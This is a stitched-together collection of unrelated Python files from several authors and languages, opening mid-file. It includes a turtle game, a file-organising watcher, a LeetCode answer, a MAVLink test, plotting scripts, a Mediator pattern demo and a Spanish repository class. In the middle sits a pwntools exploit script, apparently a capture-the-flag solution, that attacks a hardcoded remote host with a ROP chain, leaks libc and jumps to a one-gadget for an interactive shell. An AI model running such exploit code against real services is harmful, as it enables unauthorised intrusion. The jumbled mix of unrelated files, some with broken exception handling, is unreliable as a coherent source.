    """
    Youtube()

if __name__ == '__main__':
    main()


from turtle import Turtle
import random
from car import Car

class Car_Manager():
    def __init__(self):
        self.cars = []
        self.speed = 0.1
        self.cars_on_screen = random.randint(10, 15)
        self.create_multiple(self.cars_on_screen)

    def create_multiple(self, cars_on_screen):
        for _ in range(cars_on_screen):
            car = Car()
            self.cars.append(car)

    def restart(self):
        extra_cars = random.randint(0, 5)
        self.create_multiple(extra_cars)
        self.speed *= 0.7


import random

text1 = input("サザエの旦那の名前は？")
text2 = input("カツオの")
print(text1)
if text1 == "マスオ":
    print("正解")
elif text1 == "ますお":
    print("正解")
else:
    print("不正解")


import sys
import os
import getopt
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class Watcher:

    def __init__(self, directory, handler=FileSystemEventHandler()):
        self.observer = Observer()
        self.handler = handler
        self.directory = directory

    def run(self):
        self.observer.schedule(
            self.handler, self.directory, recursive=False)
        self.observer.start()
        print("\nWatcher Running in {}/\n".format(self.directory))
        try:
            while True:
                time.sleep(1)
        except:
            self.observer.stop()
        self.observer.join()
        print("\nWatcher Terminated\n")

class MyHandler(FileSystemEventHandler):

    def on_any_event(self, event):
        print(event)
        if event.event_type == 'created':
            if not event.is_directory:

                extension = Tools.find_extension(event.src_path)
                print("---File Type: "+ extension)
                #-----------------------------------------------
                Tools.organise(event.src_path, extension)

class Tools():
    #Finds the file extension/suffix of a file
    def find_extension(path):
        for index, item in enumerate(reversed(path)):
            if item == '.':
                suffix = path[len(path)-index:len(path)]
                return suffix.lower()

    #takes new file's path and its type and moves it to corresponding folder
    def organise(src_path, type):
        isknown = False
        folder_dict = {'Music':["aac","flac","m4a","mp3","ogg","wav","opus","mpga","weba","wma"],
                        'Images':["jpg","jpeg","png","gif","webp","ico","tif","bmp","xcf","svg"],
                        'Videos':["mp4","3gp","m4v","mkv","webm","mov","avi","wmv","mpg","flv"],
                        'Archives':["zip","rar","tar","7z","gz","xz","lzo","iso"],
                        'Documents':["pdf","epub","txt","docx","doc","xls","xlsx","ppt","pptx","odt","csv"],
                        'Applications':["exe","msi","dll","jar","apk","com","bat","bin","cmd"],
                        'Scripts':["py","js","htm","html","css","java","c","cpp","json","xml"]
                        }

        for folder in folder_dict:
            if type in folder_dict[folder]:
                head, path = os.path.split(src_path)
                target_path = head +"\\"+folder + "\\" + path
                print("Moving: "+src_path+" To: "+target_path)
                os.renames(src_path,target_path)
                print("Done")
                isknown = True

        if not isknown:
            return type

    #used to organize files in the folder before running the Watcher
    def organiser(path):
        unrecognized = []
        with os.scandir(path) as it:
            for entry in it:
                if not entry.name.startswith('.') and entry.is_file() and entry.name != 'eye.py':
                    extension = Tools.find_extension(entry.path)
                    unrecognized.append(Tools.organise(entry.path,extension))
            print("List of unrecognized filetypes:")
            print(set(unrecognized))

if __name__=="__main__":

    try:
        arguments, values = getopt.getopt(sys.argv[1:], "ho:w:", ["Help", "Organize", "Watch"])
        for currentArgument, currentValue in arguments:

            if currentArgument in ("-h", "--Help"):
                print("Thanks for using The Eye of sauron!\n\n This script has three arguments: \n 1. -w <folderpath> to activate the watcher in that folder. \n 2. -o <folderpath> to organize the folder before activating watcher.\n 3. -h for help")

            elif currentArgument in ("-o", "--Organize"):
                print("Organizing in "+ currentValue)
                Tools.organiser(currentValue)

            elif currentArgument in ("-w", "--Watch"):
                print("Starting Watcher in " + currentValue)
                w = Watcher(currentValue, MyHandler())
                w.run()

    except getopt.error as err:
        # output error, and return with an error code
        print (str(err))


# --EASY--
# https://leetcode.com/problems/concatenation-of-array/

# Solution starts

def getConcatenation(nums):
        array = nums
        for i in range(len(nums)):
            array.append(nums[i])
        return array

# Solution ends

# For Demo purpose
size = int(input("Enter Array Size : "))
array = list(map(int,input("Enter the numbers separated by space : ").strip().split()))[:size]
print(getConcatenation(array))


#!/usr/bin/env python

import sys, os

from pymavlink.dialects.v10 import ardupilotmega as mavlink1
from pymavlink.dialects.v20 import ardupilotmega as mavlink2

class fifo(object):
    def __init__(self):
        self.buf = []
    def write(self, data):
        self.buf += data
        return len(data)
    def read(self):
        return self.buf.pop(0)

def test_protocol(mavlink, signing=False):
    # we will use a fifo as an encode/decode buffer
    f = fifo()

    # create a mavlink instance, which will do IO on file object 'f'
    mav = mavlink.MAVLink(f)

    if signing:
        mav.signing.secret_key = chr(42)*32
        mav.signing.link_id = 0
        mav.signing.timestamp = 0
        mav.signing.sign_outgoing = True

    # set the WP_RADIUS parameter on the MAV at the end of the link
    mav.param_set_send(7, 1, "WP_RADIUS", 101, mavlink.MAV_PARAM_TYPE_REAL32)

    # alternatively, produce a MAVLink_param_set object
    # this can be sent via your own transport if you like
    m = mav.param_set_encode(7, 1, "WP_RADIUS", 101, mavlink.MAV_PARAM_TYPE_REAL32)

    m.pack(mav)

    # get the encoded message as a buffer
    b = m.get_msgbuf()

    bi=[]
    for c in b:
        bi.append(int(c))
    print(bi)

    # decode an incoming message
    m2 = mav.decode(b)

    # show what fields it has
    print("Got a message with id %u and fields %s" % (m2.get_msgId(), m2.get_fieldnames()))

    # print out the fields
    print(m2)

print("Testing mavlink1")
test_protocol(mavlink1)

print("Testing mavlink2")
test_protocol(mavlink2)

print("Testing mavlink2 with signing")
test_protocol(mavlink2, True)


from pwn import *

context.arch = "amd64"
c = remote("138.68.147.93", 32036)
#c = process("./controller")

puts_off = 0x080aa0
system_off = 0x048e50
sh_off = 0x18a156

c.sendline("-198")
c.sendline("1")
c.sendline("3")
payload = b'A'*0x28
payload += p64(0x00000000004011d3)
payload += p64(0x601fb0)
payload += p64(0x400630)
payload += p64(0x0000000000401124)
#gdb.attach(c)
c.sendline(payload)
c.recvuntil("Problem ingored\n")
leak = hex(u64(c.recv()[0:8]))
leak = leak[6:18]
leak = '0x' + leak
log.success("leak puts(): " + leak)
libc = int(leak, 0) - puts_off
log.success("leak libc: " + hex(libc))
system = libc + system_off
bin_sh = libc + sh_off
c.sendline("-198")
c.sendline("1")
c.sendline("3")
payload = b'A'*0x28
#payload += p64(0x00000000004011d3)
#payload += p64(bin_sh)
#payload += p64(system)
payload += p64(libc + 0x4f432)
c.recvuntil('the problem?')
c.sendline(payload)
c.interactive()


# MEL SPECTROGRAM 이미지를 ARRAY로 변환하고 저장하는 코드

# 사용 패키지
from tqdm import tqdm
import glob
from PIL import Image
import numpy as np
from numpy import asarray

# 변수 선언
PATH = 'C:/DATA/img'
region = ['DC','DG', 'DJ', 'DK', 'DZ']

DC_img = []
DG_img = []
DJ_img = []
DK_img = []
DZ_img = []

DC_label = []
DG_label = []
DJ_label = []
DK_label = []
DZ_label = []

DC_L = 0
DG_L = 1
DJ_L = 2
DK_L = 3
DZ_L = 4

# RGB format으로 이미지를 ARRAY로 변환하고 저장하는 반복문
for reg in region:
    imgtmp = glob.glob1(PATH+'/{}_img'.format(reg),'*.png')
    imgList = [imgtmp[i][:-4] for i in range(len(imgtmp))]
    imgList.sort()

    for file in tqdm(imgList):
        img_file= 'C:/DATA/img/{}_img/{}.png'.format(reg, file)
        image = Image.open(img_file).convert('RGB')
        numpyimage = asarray(image)
        if file.startswith('DC'):
            DC_img.append(numpyimage)
            DC_label.append(DC_L)
        elif file.startswith('DG'):
            DG_img.append(numpyimage)
            DG_label.append(DG_L)
        elif file.startswith('DJ'):
            DJ_img.append(numpyimage)
            DJ_label.append(DJ_L)
        elif file.startswith('DK'):
            DK_img.append(numpyimage)
            DK_label.append(DK_L)
        else:
            DZ_img.append(numpyimage)
            DZ_label.append(DZ_L)

img_array_all = np.concatenate((DC_img, DG_img, DJ_img, DK_img, DZ_img), axis = 0)
img_label_all = np.concatenate((DC_label, DG_label, DJ_label, DK_label, DZ_label), axis = 0)


##this code creates subfigure S6a

import matplotlib.pyplot as plt
import numpy as np
import matplotlib

x1,y1 = np.loadtxt('height_fast_eta_0.225_kf_4_19_cu_gel_0.6_refined_mesh.csv',delimiter=',',unpack=True) #height profile generated from deform.pvd which is the output of strong_acid_1D.py using Paraview 5.7.0
#x3,y3 = np.loadtxt('experimental_data.csv',delimiter=',',unpack=True)
#x2,y2 = np.loadtxt('fast_height_avg_2d.txt', unpack=True, comments='%')

#y3 = np.radians(y3)
#y3 = np.cos(y3)
#y3 = y3/np.cos(np.radians(9))

fig,ax = plt.subplots(1,1,figsize=(6.4,4.8))
fig.subplots_adjust(left=0.16)

#axis linewidth
for axis in ['top','bottom','left','right']:
    ax.spines[axis].set_linewidth(2)

#tick parameters
ax.tick_params(axis="x", direction = "in", length=10, width=2, labelsize=32)
ax.tick_params(axis="y", direction = "in", length=10, width=2, labelsize=32)#labelcolor = "white"

#tick labels
ax.xaxis.set_ticks(np.arange(0.,12.1,4))
ax.yaxis.set_ticks(np.arange(-11,0,5))

y1log = np.log(y1-y1[0])
#plotting 1d gel height
ax.plot(x1,y1log, color='black', linewidth='5')
ax.set_xlim(-1,12.1)
ax.set_ylim(-14, 0)

#extracting timescales
m1= np.polyfit(x1[120:250],y1log[120:250],1)
y1fit = m1[0]*x1 + m1[1]
m2 = np.polyfit(x1[600:1200], y1log[600:1200],1)
y2fit = m2[0]*x1 + m2[1]
m3 = np.polyfit(x1[1:12], y1log[1:12],1)
y3fit = m3[0]*x1 + m3[1]
#theoretical estimate of relaxation ts
tau_d = 0.4
m4 = -1/0.4
y4fit = m4*x1 + -0.4

ax.plot(x1[120:600], y1fit[120:600], color='black', linewidth=3)
ax.plot(x1[400:1200], y2fit[400:1200], color='black', linewidth=3)
ax.plot(x1[120:300], y4fit[120:300], color='black', linewidth=3)
#ax.plot(x1[:18], y3fit[:18], color='0.85', linewidth=2.5)
ax.annotate(r'$\tau_{r,1}=$'+f'{-1/m1[0]:.2f}'+r'$\tau$',xy=(3.19,-12.69), fontsize='20', color='black')
ax.annotate(r'$\tau_{r,2}=$'+f'{-1/m2[0]:.2f}'+r'$\tau$',xy=(7.5,-7.5), fontsize='20', color='black')
ax.annotate(r'$\tau_{D}=$'+f'{tau_d:.1f}'+r'$\tau$',xy=(0.19,-9), fontsize='20', color='black')
#ax.annotate(f'{1/m3[0]:.2f}'+r'$\tau$',xy=(-0.5,-2), fontsize='20',color='0.85')
#plt.ylabel(r'$ln(h_r/H)$', fontsize='25')
#plt.xlabel(r'$t/\tau$', fontsize='25')
#print(m1)
plt.savefig('timescales_fast.png', bbox_inches='tight', pad_inches=0.0, dpi=300)
plt.show()


# Применимость: Пожалуй, самое популярное применение Посредника в Python-коде — это связь нескольких компонентов GUI одной программы.

from __future__ import annotations
from abc import ABC

class Mediator(ABC):
    """
    Интерфейс Посредника предоставляет метод, используемый компонентами для
    уведомления посредника о различных событиях. Посредник может реагировать на
    эти события и передавать исполнение другим компонентам.
    """
    def notify(self, sender: object, event: str): ...

class ConcreteMediator(Mediator):
    def __init__(self, component_1: Component1, component_2: Component2) -> None:
        self._component_1 = component_1
        self._component_1.mediator = self
        self._component_2 = component_2
        self._component_2.mediator = self
    def notify(self, sender: object, event: str):
        if event == "A1":
            print("Mediator: D event")
            self._component_2.do_d()
        elif event == "C2":
            print("Mediator: C event")
            self._component_1.do_a()
            self._component_1.do_b()
            self._component_2.do_d()

class BaseComponent:
    """
    Базовый Компонент обеспечивает базовую функциональность хранения экземпляра
    посредника внутри объектов компонентов.
    """
    def __init__(self, mediator: Mediator = None) -> None:
        self._mediator = mediator
    @property
    def mediator(self) -> Mediator:
        return self._mediator
    @mediator.setter
    def mediator(self, mediator: Mediator) -> None:
        self._mediator = mediator
"""
Конкретные Компоненты реализуют различную функциональность. Они не зависят от
других компонентов. Они также не зависят от каких-либо конкретных классов
посредников.
"""
class Component1(BaseComponent):
    def do_a(self):
        print("Component1: A")
        self.mediator.notify(self, "A1")
    def do_b(self):
        print("Component1: B")
        self.mediator.notify(self, "B1")
class Component2(BaseComponent):
    def do_c(self):
        print("Component2: C")
        self.mediator.notify(self, "C2")
    def do_d(self):
        print("Component2: D")
        self.mediator.notify(self, "D2")

if __name__ == "__main__":
    c1 = Component1()
    c2 = Component2()
    mediator = ConcreteMediator(c1, c2)

    c1.do_a()
    print("-"*60)
    c1.do_b()
    print("-"*60)
    c2.do_c()
    print("-"*60)
    c2.do_d()


"""
Se implementa el repositorio de la Unidad Academica en Base de Datos
"""
from estructura_academica.dominio.entidades.base_repositorio_unidad_academica import *
from estructura_academica.infraestructura.persistencia.modelo.base_de_datos import *

class DBRepositorioUnidadAcademica(BaseRepositorioUnidadAcademica):

    def __init__(self, contexto, mapeador):
        super().__init__(contexto)
        self._mapeador = mapeador
        return

    def agregar(self, unidad_academica):
        try:
            sesion = self.contexto.sesion
            sesion.add(self._mapeador.entidad_a_dto(unidad_academica))
        except Exception("Error al guardar"):
            print("Repositorio de Unidad Academica")
        return

    def actualizar(self, unidad_academica):
        """
        Para actualizar la entidad persistida, se pasa la entidad modificada y:
            se mapea la entidad a la estructura de tabla
            se recupera la entidad existente por el id
            se copia la estructura mapeada a la recuperada
            se comitea
        :param unidad_academica:
        :return:
        """
        try:
            sesion = self.contexto.sesion
            unidad_academica_modificada = self._mapeador.entidad_a_dto(unidad_academica)
            unidad_academica_recuperada = sesion.query(UnidadAcademicaDTO).get(unidad_academica.identificacion)
            self._copiar_registro(unidad_academica_modificada, unidad_academica_recuperada)
        except Exception("Error al actualizar"):
            print("Repositorio de Unidad Academica")
        return

    def recuperar(self, identificacion):
        try:
            sesion = self.contexto.sesion
            unidad_academica_dto = sesion.query(UnidadAcademicaDTO).get(identificacion)
            unidad_academica = self._mapeador.dto_a_entidad(unidad_academica_dto)
        except Exception("Error al recuperar"):
            unidad_academica = None
            print("Repositorio de Unidad Academica")
        return unidad_academica

    def recuperar_por_nombre(self, nombre):
        try:
            sesion = self.contexto.sesion
            unidad_academica_dto = sesion.query(UnidadAcademicaDTO).\
                filter(UnidadAcademicaDTO.nombre_unidad_academica == nombre)[0]
            unidad_academica = self._mapeador.dto_a_entidad(unidad_academica_dto)
        except Exception("Error al recuperar"):
            unidad_academica = None
            print("Repositorio de Unidad Academica")
        return unidad_academica

    def validar_existencia(self, nombre):
        try:
            sesion = self.contexto.sesion
            if len(list(sesion.query(UnidadAcademicaDTO).
                                filter(UnidadAcademicaDTO.nombre_unidad_academica == nombre))) > 0:
                return True
            else:
                return False
        except Exception("Error al recuperar"):
            print("Repositorio de Unidad Academica")
            return False

    def obtener_todo(self):
        try:
            lista_unidades_academicas = []
            sesion = self.contexto.sesion
            for ua_dto in sesion.query(UnidadAcademicaDTO).all():
                ua = self._mapeador.dto_a_entidad(ua_dto)
                lista_unidades_academicas.append(ua)
            return lista_unidades_academicas
        except Exception("Error al recuperar"):
            print("Repositorio de Unidad Academica")
            return None

    def _copiar_registro(self, desde, hacia):
        hacia.nombre_unidad_academica = desde.nombre_unidad_academica
        hacia.nombre_universidad = desde.nombre_universidad
        hacia.domicilio_calle = desde.domicilio_calle
        hacia.domicilio_numero = desde.domicilio_numero
        hacia.domicilio_piso = desde.domicilio_piso
        hacia.domicilio_depto = desde.domicilio_depto
        return